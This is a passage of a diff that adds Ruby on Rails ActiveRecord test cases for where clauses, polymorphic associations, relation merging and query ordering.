+      assert_equal [chef], chefs.to_a
+    end
+
+    def test_where_with_casted_value_is_nil
+      assert_equal 4, Topic.where(last_read: "").count
+    end
+
+    def test_rewhere_on_root
+      assert_equal posts(:welcome), Post.rewhere(title: "Welcome to the weblog").first
+    end
+
+    def test_belongs_to_shallow_where
+      author = Author.new
+      author.id = 1
+
+      assert_equal Post.where(author_id: 1).to_sql, Post.where(author: author).to_sql
+    end
+
+    def test_belongs_to_nil_where
+      assert_equal Post.where(author_id: nil).to_sql, Post.where(author: nil).to_sql
+    end
+
+    def test_belongs_to_array_value_where
+      assert_equal Post.where(author_id: [1, 2]).to_sql, Post.where(author: [1, 2]).to_sql
+    end
+
+    def test_belongs_to_nested_relation_where
+      expected = Post.where(author_id: Author.where(id: [1, 2])).to_sql
+      actual   = Post.where(author:    Author.where(id: [1, 2])).to_sql
+
+      assert_equal expected, actual
+    end
+
+    def test_belongs_to_nested_where
+      parent = Comment.new
+      parent.id = 1
+
+      expected = Post.where(comments: { parent_id: 1 }).joins(:comments)
+      actual   = Post.where(comments: { parent: parent }).joins(:comments)
+
+      assert_equal expected.to_sql, actual.to_sql
+    end
+
+    def test_belongs_to_nested_where_with_relation
+      author = authors(:david)
+
+      expected = Author.where(id: author).joins(:posts)
+      actual   = Author.where(posts: { author_id: Author.where(id: author.id) }).joins(:posts)
+
+      assert_equal expected.to_a, actual.to_a
+    end
+
+    def test_polymorphic_shallow_where
+      treasure = Treasure.new
+      treasure.id = 1
+
+      expected = PriceEstimate.where(estimate_of_type: "Treasure", estimate_of_id: 1)
+      actual   = PriceEstimate.where(estimate_of: treasure)
+
+      assert_equal expected.to_sql, actual.to_sql
+    end
+
+    def test_polymorphic_nested_array_where
+      treasure = Treasure.new
+      treasure.id = 1
+      hidden = HiddenTreasure.new
+      hidden.id = 2
+
+      expected = PriceEstimate.where(estimate_of_type: "Treasure", estimate_of_id: [treasure, hidden])
+      actual   = PriceEstimate.where(estimate_of: [treasure, hidden])
+
+      assert_equal expected.to_sql, actual.to_sql
+    end
+
+    def test_polymorphic_array_where_multiple_types
+      treasure_1 = treasures(:diamond)
+      treasure_2 = treasures(:sapphire)
+      car = cars(:honda)
+
+      expected = [price_estimates(:diamond), price_estimates(:sapphire_1), price_estimates(:sapphire_2), price_estimates(:honda)].sort
+      actual = PriceEstimate.where(estimate_of: [treasure_1, treasure_2, car]).to_a.sort
+
+      assert_equal expected, actual
+    end
+
+    def test_polymorphic_nested_relation_where
+      expected = PriceEstimate.where(estimate_of_type: "Treasure", estimate_of_id: Treasure.where(id: [1, 2]))
+      actual   = PriceEstimate.where(estimate_of: Treasure.where(id: [1, 2]))
+
+      assert_equal expected.to_sql, actual.to_sql
+    end
+
+    def test_polymorphic_sti_shallow_where
+      treasure = HiddenTreasure.new
+      treasure.id = 1
+
+      expected = PriceEstimate.where(estimate_of_type: "Treasure", estimate_of_id: 1)
+      actual   = PriceEstimate.where(estimate_of: treasure)
+
+      assert_equal expected.to_sql, actual.to_sql
+    end
+
+    def test_polymorphic_nested_where
+      thing = Post.new
+      thing.id = 1
+
+      expected = Treasure.where(price_estimates: { thing_type: "Post", thing_id: 1 }).joins(:price_estimates)
+      actual   = Treasure.where(price_estimates: { thing: thing }).joins(:price_estimates)
+
+      assert_equal expected.to_sql, actual.to_sql
+    end
+
+    def test_polymorphic_sti_nested_where
+      treasure = HiddenTreasure.new
+      treasure.id = 1
+
+      expected = Treasure.where(price_estimates: { estimate_of_type: "Treasure", estimate_of_id: 1 }).joins(:price_estimates)
+      actual   = Treasure.where(price_estimates: { estimate_of: treasure }).joins(:price_estimates)
+
+      assert_equal expected.to_sql, actual.to_sql
+    end
+
+    def test_decorated_polymorphic_where
+      treasure_decorator = Struct.new(:model) do
+        def self.method_missing(method, *args, &block)
+          Treasure.send(method, *args, &block)
+        end
+
+        def is_a?(klass)
+          model.is_a?(klass)
+        end
+
+        def method_missing(method, *args, &block)
+          model.send(method, *args, &block)
+        end
+      end
+
+      treasure = Treasure.new
+      treasure.id = 1
+      decorated_treasure = treasure_decorator.new(treasure)
+
+      expected = PriceEstimate.where(estimate_of_type: "Treasure", estimate_of_id: 1)
+      actual   = PriceEstimate.where(estimate_of: decorated_treasure)
+
+      assert_equal expected.to_sql, actual.to_sql
+    end
+
+    def test_aliased_attribute
+      expected = Topic.where(heading: "The First Topic")
+      actual   = Topic.where(title: "The First Topic")
+
+      assert_equal expected.to_sql, actual.to_sql
+    end
+
+    def test_where_error
+      assert_nothing_raised do
+        Post.where(id: { "posts.author_id" => 10 }).first
+      end
+    end
+
+    def test_where_with_table_name
+      post = Post.first
+      assert_equal post, Post.where(posts: { "id" => post.id }).first
+    end
+
+    def test_where_with_table_name_and_empty_hash
+      assert_equal 0, Post.where(posts: {}).count
+    end
+
+    def test_where_with_table_name_and_empty_array
+      assert_equal 0, Post.where(id: []).count
+    end
+
+    def test_where_with_empty_hash_and_no_foreign_key
+      assert_equal 0, Edge.where(sink: {}).count
+    end
+
+    def test_where_with_blank_conditions
+      [[], {}, nil, ""].each do |blank|
+        assert_equal 4, Edge.where(blank).order("sink_id").to_a.size
+      end
+    end
+
+    def test_where_with_integer_for_string_column
+      count = Post.where(title: 0).count
+      assert_equal 0, count
+    end
+
+    def test_where_with_float_for_string_column
+      count = Post.where(title: 0.0).count
+      assert_equal 0, count
+    end
+
+    def test_where_with_boolean_for_string_column
+      count = Post.where(title: false).count
+      assert_equal 0, count
+    end
+
+    def test_where_with_decimal_for_string_column
+      count = Post.where(title: BigDecimal.new(0)).count
+      assert_equal 0, count
+    end
+
+    def test_where_with_duration_for_string_column
+      count = Post.where(title: 0.seconds).count
+      assert_equal 0, count
+    end
+
+    def test_where_with_integer_for_binary_column
+      count = Binary.where(data: 0).count
+      assert_equal 0, count
+    end
+
+    def test_where_on_association_with_custom_primary_key
+      author = authors(:david)
+      essay = Essay.where(writer: author).first
+
+      assert_equal essays(:david_modest_proposal), essay
+    end
+
+    def test_where_on_association_with_custom_primary_key_with_relation
+      author = authors(:david)
+      essay = Essay.where(writer: Author.where(id: author.id)).first
+
+      assert_equal essays(:david_modest_proposal), essay
+    end
+
+    def test_where_on_association_with_relation_performs_subselect_not_two_queries
+      author = authors(:david)
+
+      assert_queries(1) do
+        Essay.where(writer: Author.where(id: author.id)).to_a
+      end
+    end
+
+    def test_where_on_association_with_custom_primary_key_with_array_of_base
+      author = authors(:david)
+      essay = Essay.where(writer: [author]).first
+
+      assert_equal essays(:david_modest_proposal), essay
+    end
+
+    def test_where_on_association_with_custom_primary_key_with_array_of_ids
+      essay = Essay.where(writer: ["David"]).first
+
+      assert_equal essays(:david_modest_proposal), essay
+    end
+
+    def test_where_on_association_with_select_relation
+      essay = Essay.where(author: Author.where(name: "David").select(:name)).take
+      assert_equal essays(:david_modest_proposal), essay
+    end
+
+    def test_where_with_strong_parameters
+      protected_params = Class.new do
+        attr_reader :permitted
+        alias :permitted? :permitted
+
+        def initialize(parameters)
+          @parameters = parameters
+          @permitted = false
+        end
+
+        def to_h
+          @parameters
+        end
+
+        def permit!
+          @permitted = true
+          self
+        end
+      end
+
+      author = authors(:david)
+      params = protected_params.new(name: author.name)
+      assert_raises(ActiveModel::ForbiddenAttributesError) { Author.where(params) }
+      assert_equal author, Author.where(params.permit!).first
+    end
+
+    def test_where_with_unsupported_arguments
+      assert_raises(ArgumentError) { Author.where(42) }
+    end
+  end
+end
diff --git a/activerecord/test/cases/relation_test.rb b/activerecord/test/cases/relation_test.rb
new file mode 100644
index 0000000000..f22fcd7b5a
--- /dev/null
+++ b/activerecord/test/cases/relation_test.rb
@@ -0,0 +1,323 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "models/post"
+require "models/comment"
+require "models/author"
+require "models/rating"
+
+module ActiveRecord
+  class RelationTest < ActiveRecord::TestCase
+    fixtures :posts, :comments, :authors, :author_addresses, :ratings
+
+    def test_construction
+      relation = Relation.new(FakeKlass, :b, nil)
+      assert_equal FakeKlass, relation.klass
+      assert_equal :b, relation.table
+      assert !relation.loaded, "relation is not loaded"
+    end
+
+    def test_responds_to_model_and_returns_klass
+      relation = Relation.new(FakeKlass, :b, nil)
+      assert_equal FakeKlass, relation.model
+    end
+
+    def test_initialize_single_values
+      relation = Relation.new(FakeKlass, :b, nil)
+      (Relation::SINGLE_VALUE_METHODS - [:create_with, :readonly]).each do |method|
+        assert_nil relation.send("#{method}_value"), method.to_s
+      end
+      assert_equal false, relation.readonly_value
+      value = relation.create_with_value
+      assert_equal({}, value)
+      assert_predicate value, :frozen?
+    end
+
+    def test_multi_value_initialize
+      relation = Relation.new(FakeKlass, :b, nil)
+      Relation::MULTI_VALUE_METHODS.each do |method|
+        values = relation.send("#{method}_values")
+        assert_equal [], values, method.to_s
+        assert_predicate values, :frozen?, method.to_s
+      end
+    end
+
+    def test_extensions
+      relation = Relation.new(FakeKlass, :b, nil)
+      assert_equal [], relation.extensions
+    end
+
+    def test_empty_where_values_hash
+      relation = Relation.new(FakeKlass, :b, nil)
+      assert_equal({}, relation.where_values_hash)
+    end
+
+    def test_has_values
+      relation = Relation.new(Post, Post.arel_table, Post.predicate_builder)
+      relation.where!(id: 10)
+      assert_equal({ "id" => 10 }, relation.where_values_hash)
+    end
+
+    def test_values_wrong_table
+      relation = Relation.new(Post, Post.arel_table, Post.predicate_builder)
+      relation.where! Comment.arel_table[:id].eq(10)
+      assert_equal({}, relation.where_values_hash)
+    end
+
+    def test_tree_is_not_traversed
+      relation = Relation.new(Post, Post.arel_table, Post.predicate_builder)
+      left     = relation.table[:id].eq(10)
+      right    = relation.table[:id].eq(10)
+      combine  = left.and right
+      relation.where! combine
+      assert_equal({}, relation.where_values_hash)
+    end
+
+    def test_table_name_delegates_to_klass
+      relation = Relation.new(FakeKlass, :b, Post.predicate_builder)
+      assert_equal "posts", relation.table_name
+    end
+
+    def test_scope_for_create
+      relation = Relation.new(FakeKlass, :b, nil)
+      assert_equal({}, relation.scope_for_create)
+    end
+
+    def test_create_with_value
+      relation = Relation.new(Post, Post.arel_table, Post.predicate_builder)
+      relation.create_with_value = { hello: "world" }
+      assert_equal({ "hello" => "world" }, relation.scope_for_create)
+    end
+
+    def test_create_with_value_with_wheres
+      relation = Relation.new(Post, Post.arel_table, Post.predicate_builder)
+      assert_equal({}, relation.scope_for_create)
+
+      relation.where!(id: 10)
+      assert_equal({ "id" => 10 }, relation.scope_for_create)
+
+      relation.create_with_value = { hello: "world" }
+      assert_equal({ "hello" => "world", "id" => 10 }, relation.scope_for_create)
+    end
+
+    def test_bad_constants_raise_errors
+      assert_raises(NameError) do
+        ActiveRecord::Relation::HelloWorld
+      end
+    end
+
+    def test_empty_eager_loading?
+      relation = Relation.new(FakeKlass, :b, nil)
+      assert !relation.eager_loading?
+    end
+
+    def test_eager_load_values
+      relation = Relation.new(FakeKlass, :b, nil)
+      relation.eager_load! :b
+      assert relation.eager_loading?
+    end
+
+    def test_references_values
+      relation = Relation.new(FakeKlass, :b, nil)
+      assert_equal [], relation.references_values
+      relation = relation.references(:foo).references(:omg, :lol)
+      assert_equal ["foo", "omg", "lol"], relation.references_values
+    end
+
+    def test_references_values_dont_duplicate
+      relation = Relation.new(FakeKlass, :b, nil)
+      relation = relation.references(:foo).references(:foo)
+      assert_equal ["foo"], relation.references_values
+    end
+
+    test "merging a hash into a relation" do
+      relation = Relation.new(Post, Post.arel_table, Post.predicate_builder)
+      relation = relation.merge where: { name: :lol }, readonly: true
+
+      assert_equal({ "name" => :lol }, relation.where_clause.to_h)
+      assert_equal true, relation.readonly_value
+    end
+
+    test "merging an empty hash into a relation" do
+      assert_equal Relation::WhereClause.empty, Relation.new(FakeKlass, :b, nil).merge({}).where_clause
+    end
+
+    test "merging a hash with unknown keys raises" do
+      assert_raises(ArgumentError) { Relation::HashMerger.new(nil, omg: "lol") }
+    end
+
+    test "merging nil or false raises" do
+      relation = Relation.new(FakeKlass, :b, nil)
+
+      e = assert_raises(ArgumentError) do
+        relation = relation.merge nil
+      end
+
+      assert_equal "invalid argument: nil.", e.message
+
+      e = assert_raises(ArgumentError) do
+        relation = relation.merge false
+      end
+
+      assert_equal "invalid argument: false.", e.message
+    end
+
+    test "#values returns a dup of the values" do
+      relation = Relation.new(Post, Post.arel_table, Post.predicate_builder).where!(name: :foo)
+      values   = relation.values
+
+      values[:where] = nil
+      assert_not_nil relation.where_clause
+    end
+
+    test "relations can be created with a values hash" do
+      relation = Relation.new(FakeKlass, :b, nil, select: [:foo])
+      assert_equal [:foo], relation.select_values
+    end
+
+    test "merging a hash interpolates conditions" do
+      klass = Class.new(FakeKlass) do
+        def self.sanitize_sql(args)
+          raise unless args == ["foo = ?", "bar"]
+          "foo = bar"
+        end
+      end
+
+      relation = Relation.new(klass, :b, nil)
+      relation.merge!(where: ["foo = ?", "bar"])
+      assert_equal Relation::WhereClause.new(["foo = bar"]), relation.where_clause
+    end
+
+    def test_merging_readonly_false
+      relation = Relation.new(FakeKlass, :b, nil)
+      readonly_false_relation = relation.readonly(false)
+      # test merging in both directions
+      assert_equal false, relation.merge(readonly_false_relation).readonly_value
+      assert_equal false, readonly_false_relation.merge(relation).readonly_value
+    end
+
+    def test_relation_merging_with_merged_joins_as_symbols
+      special_comments_with_ratings = SpecialComment.joins(:ratings)
+      posts_with_special_comments_with_ratings = Post.group("posts.id").joins(:special_comments).merge(special_comments_with_ratings)
+      assert_equal({ 4 => 2 }, authors(:david).posts.merge(posts_with_special_comments_with_ratings).count)
+    end
+
+    def test_relation_merging_with_merged_symbol_joins_keeps_inner_joins
+      queries = capture_sql { Author.joins(:posts).merge(Post.joins(:comments)).to_a }
+
+      nb_inner_join = queries.sum { |sql| sql.scan(/INNER\s+JOIN/i).size }
+      assert_equal 2, nb_inner_join, "Wrong amount of INNER JOIN in query"
+      assert queries.none? { |sql| /LEFT\s+(OUTER)?\s+JOIN/i.match?(sql) }, "Shouldn't have any LEFT JOIN in query"
+    end
+
+    def test_relation_merging_with_merged_symbol_joins_has_correct_size_and_count
+      # Has one entry per comment
+      merged_authors_with_commented_posts_relation = Author.joins(:posts).merge(Post.joins(:comments))
+
+      post_ids_with_author = Post.joins(:author).pluck(:id)
+      manual_comments_on_post_that_have_author = Comment.where(post_id: post_ids_with_author).pluck(:id)
+
+      assert_equal manual_comments_on_post_that_have_author.size, merged_authors_with_commented_posts_relation.count
+      assert_equal manual_comments_on_post_that_have_author.size, merged_authors_with_commented_posts_relation.to_a.size
+    end
+
+    def test_relation_merging_with_joins_as_join_dependency_pick_proper_parent
+      post = Post.create!(title: "haha", body: "huhu")
+      comment = post.comments.create!(body: "hu")
+      3.times { comment.ratings.create! }
+
+      relation = Post.joins(:comments).merge Comment.joins(:ratings)
+
+      assert_equal 3, relation.where(id: post.id).pluck(:id).size
+    end
+
+    def test_merge_raises_with_invalid_argument
+      assert_raises ArgumentError do
+        relation = Relation.new(FakeKlass, :b, nil)
+        relation.merge(true)
+      end
+    end
+
+    def test_respond_to_for_non_selected_element
+      post = Post.select(:title).first
+      assert_equal false, post.respond_to?(:body), "post should not respond_to?(:body) since invoking it raises exception"
+
+      silence_warnings { post = Post.select("'title' as post_title").first }
+      assert_equal false, post.respond_to?(:title), "post should not respond_to?(:body) since invoking it raises exception"
+    end
+
+    def test_select_quotes_when_using_from_clause
+      skip_if_sqlite3_version_includes_quoting_bug
+      quoted_join = ActiveRecord::Base.connection.quote_table_name("join")
+      selected = Post.select(:join).from(Post.select("id as #{quoted_join}")).map(&:join)
+      assert_equal Post.pluck(:id), selected
+    end
+
+    def test_selecting_aliased_attribute_quotes_column_name_when_from_is_used
+      skip_if_sqlite3_version_includes_quoting_bug
+      klass = Class.new(ActiveRecord::Base) do
+        self.table_name = :test_with_keyword_column_name
+        alias_attribute :description, :desc
+      end
+      klass.create!(description: "foo")
+
+      assert_equal ["foo"], klass.select(:description).from(klass.all).map(&:desc)
+    end
+
+    def test_relation_merging_with_merged_joins_as_strings
+      join_string = "LEFT OUTER JOIN #{Rating.quoted_table_name} ON #{SpecialComment.quoted_table_name}.id = #{Rating.quoted_table_name}.comment_id"
+      special_comments_with_ratings = SpecialComment.joins join_string
+      posts_with_special_comments_with_ratings = Post.group("posts.id").joins(:special_comments).merge(special_comments_with_ratings)
+      assert_equal({ 2 => 1, 4 => 3, 5 => 1 }, authors(:david).posts.merge(posts_with_special_comments_with_ratings).count)
+    end
+
+    class EnsureRoundTripTypeCasting < ActiveRecord::Type::Value
+      def type
+        :string
+      end
+
+      def deserialize(value)
+        raise value unless value == "type cast for database"
+        "type cast from database"
+      end
+
+      def serialize(value)
+        raise value unless value == "value from user"
+        "type cast for database"
+      end
+    end
+
+    class UpdateAllTestModel < ActiveRecord::Base
+      self.table_name = "posts"
+
+      attribute :body, EnsureRoundTripTypeCasting.new
+    end
+
+    def test_update_all_goes_through_normal_type_casting
+      UpdateAllTestModel.update_all(body: "value from user", type: nil) # No STI
+
+      assert_equal "type cast from database", UpdateAllTestModel.first.body
+    end
+
+    private
+
+      def skip_if_sqlite3_version_includes_quoting_bug
+        if sqlite3_version_includes_quoting_bug?
+          skip <<-ERROR.squish
+            You are using an outdated version of SQLite3 which has a bug in
+            quoted column names. Please update SQLite3 and rebuild the sqlite3
+            ruby gem
+          ERROR
+        end
+      end
+
+      def sqlite3_version_includes_quoting_bug?
+        if current_adapter?(:SQLite3Adapter)
+          selected_quoted_column_names = ActiveRecord::Base.connection.exec_query(
+            'SELECT "join" FROM (SELECT id AS "join" FROM posts) subquery'
+          ).columns
+          ["join"] != selected_quoted_column_names
+        end
+      end
+  end
+end
diff --git a/activerecord/test/cases/relations_test.rb b/activerecord/test/cases/relations_test.rb
new file mode 100644
index 0000000000..ae1dc35bff
--- /dev/null
+++ b/activerecord/test/cases/relations_test.rb
@@ -0,0 +1,1923 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "models/tag"
+require "models/tagging"
+require "models/post"
+require "models/topic"
+require "models/comment"
+require "models/author"
+require "models/entrant"
+require "models/developer"
+require "models/computer"
+require "models/reply"
+require "models/company"
+require "models/bird"
+require "models/car"
+require "models/engine"
+require "models/tyre"
+require "models/minivan"
+require "models/possession"
+require "models/reader"
+require "models/categorization"
+require "models/edge"
+
+class RelationTest < ActiveRecord::TestCase
+  fixtures :authors, :author_addresses, :topics, :entrants, :developers, :companies, :developers_projects, :accounts, :categories, :categorizations, :posts, :comments,
+    :tags, :taggings, :cars, :minivans
+
+  class TopicWithCallbacks < ActiveRecord::Base
+    self.table_name = :topics
+    before_update { |topic| topic.author_name = "David" if topic.author_name.blank? }
+  end
+
+  def test_do_not_double_quote_string_id
+    van = Minivan.last
+    assert van
+    assert_equal van.id, Minivan.where(minivan_id: van).to_a.first.minivan_id
+  end
+
+  def test_do_not_double_quote_string_id_with_array
+    van = Minivan.last
+    assert van
+    assert_equal van, Minivan.where(minivan_id: [van]).to_a.first
+  end
+
+  def test_two_scopes_with_includes_should_not_drop_any_include
+    # heat habtm cache
+    car = Car.incl_engines.incl_tyres.first
+    car.tyres.length
+    car.engines.length
+
+    car = Car.incl_engines.incl_tyres.first
+    assert_no_queries { car.tyres.length }
+    assert_no_queries { car.engines.length }
+  end
+
+  def test_dynamic_finder
+    x = Post.where("author_id = ?", 1)
+    assert x.klass.respond_to?(:find_by_id), "@klass should handle dynamic finders"
+  end
+
+  def test_multivalue_where
+    posts = Post.where("author_id = ? AND id = ?", 1, 1)
+    assert_equal 1, posts.to_a.size
+  end
+
+  def test_scoped
+    topics = Topic.all
+    assert_kind_of ActiveRecord::Relation, topics
+    assert_equal 5, topics.size
+  end
+
+  def test_to_json
+    assert_nothing_raised  { Bird.all.to_json }
+    assert_nothing_raised  { Bird.all.to_a.to_json }
+  end
+
+  def test_to_yaml
+    assert_nothing_raised  { Bird.all.to_yaml }
+    assert_nothing_raised  { Bird.all.to_a.to_yaml }
+  end
+
+  def test_to_xml
+    assert_nothing_raised  { Bird.all.to_xml }
+    assert_nothing_raised  { Bird.all.to_a.to_xml }
+  end
+
+  def test_scoped_all
+    topics = Topic.all.to_a
+    assert_kind_of Array, topics
+    assert_no_queries { assert_equal 5, topics.size }
+  end
+
+  def test_loaded_all
+    topics = Topic.all
+
+    assert_queries(1) do
+      2.times { assert_equal 5, topics.to_a.size }
+    end
+
+    assert topics.loaded?
+  end
+
+  def test_scoped_first
+    topics = Topic.all.order("id ASC")
+
+    assert_queries(1) do
+      2.times { assert_equal "The First Topic", topics.first.title }
+    end
+
+    assert ! topics.loaded?
+  end
+
+  def test_loaded_first
+    topics = Topic.all.order("id ASC")
+    topics.load # force load
+
+    assert_no_queries do
+      assert_equal "The First Topic", topics.first.title
+    end
+
+    assert topics.loaded?
+  end
+
+  def test_loaded_first_with_limit
+    topics = Topic.all.order("id ASC")
+    topics.load # force load
+
+    assert_no_queries do
+      assert_equal ["The First Topic",
+                    "The Second Topic of the day"], topics.first(2).map(&:title)
+    end
+
+    assert topics.loaded?
+  end
+
+  def test_first_get_more_than_available
+    topics = Topic.all.order("id ASC")
+    unloaded_first = topics.first(10)
+    topics.load # force load
+
+    assert_no_queries do
+      loaded_first = topics.first(10)
+      assert_equal unloaded_first, loaded_first
+    end
+  end
+
+  def test_reload
+    topics = Topic.all
+
+    assert_queries(1) do
+      2.times { topics.to_a }
+    end
+
+    assert topics.loaded?
+
+    original_size = topics.to_a.size
+    Topic.create! title: "fake"
+
+    assert_queries(1) { topics.reload }
+    assert_equal original_size + 1, topics.size
+    assert topics.loaded?
+  end
+
+  def test_finding_with_subquery
+    relation = Topic.where(approved: true)
+    assert_equal relation.to_a, Topic.select("*").from(relation).to_a
+    assert_equal relation.to_a, Topic.select("subquery.*").from(relation).to_a
+    assert_equal relation.to_a, Topic.select("a.*").from(relation, :a).to_a
+  end
+
+  def test_finding_with_subquery_with_binds
+    relation = Post.first.comments
+    assert_equal relation.to_a, Comment.select("*").from(relation).to_a
+    assert_equal relation.to_a, Comment.select("subquery.*").from(relation).to_a
+    assert_equal relation.to_a, Comment.select("a.*").from(relation, :a).to_a
+  end
+
+  def test_finding_with_subquery_without_select_does_not_change_the_select
+    relation = Topic.where(approved: true)
+    assert_raises(ActiveRecord::StatementInvalid) do
+      Topic.from(relation).to_a
+    end
+  end
+
+  def test_select_with_subquery_in_from_does_not_use_original_table_name
+    relation = Comment.group(:type).select("COUNT(post_id) AS post_count, type")
+    subquery = Comment.from(relation).select("type", "post_count")
+    assert_equal(relation.map(&:post_count).sort, subquery.map(&:post_count).sort)
+  end
+
+  def test_group_with_subquery_in_from_does_not_use_original_table_name
+    relation = Comment.group(:type).select("COUNT(post_id) AS post_count,type")
+    subquery = Comment.from(relation).group("type").average("post_count")
+    assert_equal(relation.map(&:post_count).sort, subquery.values.sort)
+  end
+
+  def test_finding_with_conditions
+    assert_equal ["David"], Author.where(name: "David").map(&:name)
+    assert_equal ["Mary"],  Author.where(["name = ?", "Mary"]).map(&:name)
+    assert_equal ["Mary"],  Author.where("name = ?", "Mary").map(&:name)
+  end
+
+  def test_finding_with_order
+    topics = Topic.order("id")
+    assert_equal 5, topics.to_a.size
+    assert_equal topics(:first).title, topics.first.title
+  end
+
+  def test_finding_with_arel_order
+    topics = Topic.order(Topic.arel_table[:id].asc)
+    assert_equal 5, topics.to_a.size
+    assert_equal topics(:first).title, topics.first.title
+  end
+
+  def test_finding_with_assoc_order
+    topics = Topic.order(id: :desc)
+    assert_equal 5, topics.to_a.size
+    assert_equal topics(:fifth).title, topics.first.title
+  end
+
+  def test_finding_with_arel_assoc_order
+    topics = Topic.order(Arel.sql("id") => :desc)
+    assert_equal 5, topics.to_a.size
+    assert_equal topics(:fifth).title, topics.first.title
+  end
+
+  def test_finding_with_reversed_assoc_order
+    topics = Topic.order(id: :asc).reverse_order
+    assert_equal 5, topics.to_a.size
+    assert_equal topics(:fifth).title, topics.first.title
+  end
+
+  def test_finding_with_reversed_arel_assoc_order
+    topics = Topic.order(Arel.sql("id") => :asc).reverse_order
+    assert_equal 5, topics.to_a.size
+    assert_equal topics(:fifth).title, topics.first.title
+  end
+
+  def test_reverse_order_with_function
+    topics = Topic.order("length(title)").reverse_order
+    assert_equal topics(:second).title, topics.first.title
+  end
+
+  def test_reverse_arel_assoc_order_with_function
+    topics = Topic.order(Arel.sql("length(title)") => :asc).reverse_order
+    assert_equal topics(:second).title, topics.first.title
+  end
+
+  def test_reverse_order_with_function_other_predicates
+    topics = Topic.order("author_name, length(title), id").reverse_order
+    assert_equal topics(:second).title, topics.first.title
+    topics = Topic.order("length(author_name), id, length(title)").reverse_order
+    assert_equal topics(:fifth).title, topics.first.title
+  end
+
+  def test_reverse_order_with_multiargument_function
+    assert_raises(ActiveRecord::IrreversibleOrderError) do
+      Topic.order("concat(author_name, title)").reverse_order
+    end
+    assert_raises(ActiveRecord::IrreversibleOrderError) do
+      Topic.order("concat(lower(author_name), title)").reverse_order
+    end
+    assert_raises(ActiveRecord::IrreversibleOrderError) do
+      Topic.order("concat(author_name, lower(title))").reverse_order
+    end
+    assert_raises(ActiveRecord::IrreversibleOrderError) do
+      Topic.order("concat(lower(author_name), title, length(title)").reverse_order
+    end
+  end
+
+  def test_reverse_arel_assoc_order_with_multiargument_function
+    assert_nothing_raised do
+      Topic.order(Arel.sql("REPLACE(title, '', '')") => :asc).reverse_order
+    end
+  end
+
+  def test_reverse_order_with_nulls_first_or_last
+    assert_raises(ActiveRecord::IrreversibleOrderError) do
+      Topic.order("title NULLS FIRST").reverse_order
+    end
+    assert_raises(ActiveRecord::IrreversibleOrderError) do
+      Topic.order("title nulls last").reverse_order
+    end
+  end
+
+  def test_default_reverse_order_on_table_without_primary_key
+    assert_raises(ActiveRecord::IrreversibleOrderError) do
+      Edge.all.reverse_order
+    end
+  end
+
+  def test_order_with_hash_and_symbol_generates_the_same_sql
+    assert_equal Topic.order(:id).to_sql, Topic.order(id: :asc).to_sql
+  end
+
+  def test_finding_with_desc_order_with_string
+    topics = Topic.order(id: "desc")
+    assert_equal 5, topics.to_a.size
+    assert_equal [topics(:fifth), topics(:fourth), topics(:third), topics(:second), topics(:first)], topics.to_a
+  end
+
+  def test_finding_with_asc_order_with_string
+    topics = Topic.order(id: "asc")
+    assert_equal 5, topics.to_a.size
+    assert_equal [topics(:first), topics(:second), topics(:third), topics(:fourth), topics(:fifth)], topics.to_a
+  end
+
+  def test_support_upper_and_lower_case_directions
+    assert_includes Topic.order(id: "ASC").to_sql, "ASC"
+    assert_includes Topic.order(id: "asc").to_sql, "ASC"
+    assert_includes Topic.order(id: :ASC).to_sql, "ASC"
+    assert_includes Topic.order(id: :asc).to_sql, "ASC"
+
+    assert_includes Topic.order(id: "DESC").to_sql, "DESC"
+    assert_includes Topic.order(id: "desc").to_sql, "DESC"
+    assert_includes Topic.order(id: :DESC).to_sql, "DESC"
+    assert_includes Topic.order(id: :desc).to_sql, "DESC"
+  end
+
+  def test_raising_exception_on_invalid_hash_params
+    e = assert_raise(ArgumentError) { Topic.order(:name, "id DESC", id: :asfsdf) }
+    assert_equal 'Direction "asfsdf" is invalid. Valid directions are: [:asc, :desc, :ASC, :DESC, "asc", "desc", "ASC", "DESC"]', e.message
+  end
+
+  def test_finding_last_with_arel_order
+    topics = Topic.order(Topic.arel_table[:id].asc)
+    assert_equal topics(:fifth).title, topics.last.title
+  end
+
+  def test_finding_with_order_concatenated
+    topics = Topic.order("author_name").order("title")
+    assert_equal 5, topics.to_a.size
+    assert_equal topics(:fourth).title, topics.first.title
+  end
+
+  def test_finding_with_order_by_aliased_attributes
+    topics = Topic.order(:heading)
+    assert_equal 5, topics.to_a.size
+    assert_equal topics(:fifth).title, topics.first.title
+  end
+
+  def test_finding_with_assoc_order_by_aliased_attributes
+    topics = Topic.order(heading: :desc)
+    assert_equal 5, topics.to_a.size
+    assert_equal topics(:third).title, topics.first.title
+  end
+
+  def test_finding_with_reorder
+    topics = Topic.order("author_name").order("title").reorder("id").to_a
+    topics_titles = topics.map(&:title)
+    assert_equal ["The First Topic", "The Second Topic of the day", "The Third Topic of the day", "The Fourth Topic of the day", "The Fifth Topic of the day"], topics_titles
+  end
+
+  def test_finding_with_reorder_by_aliased_attributes
+    topics = Topic.order("author_name").reorder(:heading)
+    assert_equal 5, topics.to_a.size
+    assert_equal topics(:fifth).title, topics.first.title
+  end
+
+  def test_finding_with_assoc_reorder_by_aliased_attributes
+    topics = Topic.order("author_name").reorder(heading: :desc)
+    assert_equal 5, topics.to_a.size
+    assert_equal topics(:third).title, topics.first.title
+  end
+
+  def test_finding_with_order_and_take
+    entrants = Entrant.order("id ASC").limit(2).to_a
+
+    assert_equal 2, entrants.size
+    assert_equal entrants(:first).name, entrants.first.name
+  end
+
+  def test_finding_with_cross_table_order_and_limit
+    tags = Tag.includes(:taggings).
+              order("tags.name asc", "taggings.taggable_id asc", "REPLACE('abc', taggings.taggable_type, taggings.taggable_type)").
+              limit(1).to_a
+    assert_equal 1, tags.length
+  end
+
+  def test_finding_with_complex_order_and_limit
+    tags = Tag.includes(:taggings).references(:taggings).order("REPLACE('abc', taggings.taggable_type, taggings.taggable_type)").limit(1).to_a
+    assert_equal 1, tags.length
+  end
+
+  def test_finding_with_complex_order
+    tags = Tag.includes(:taggings).references(:taggings).order("REPLACE('abc', taggings.taggable_type, taggings.taggable_type)").to_a
+    assert_equal 3, tags.length
+  end
+
+  def test_finding_with_sanitized_order
+    query = Tag.order(["field(id, ?)", [1, 3, 2]]).to_sql
+    assert_match(/field\(id, 1,3,2\)/, query)
+
+    query = Tag.order(["field(id, ?)", []]).to_sql
+    assert_match(/field\(id, NULL\)/, query)
+
+    query = Tag.order(["field(id, ?)", nil]).to_sql
+    assert_match(/field\(id, NULL\)/, query)
+  end
+
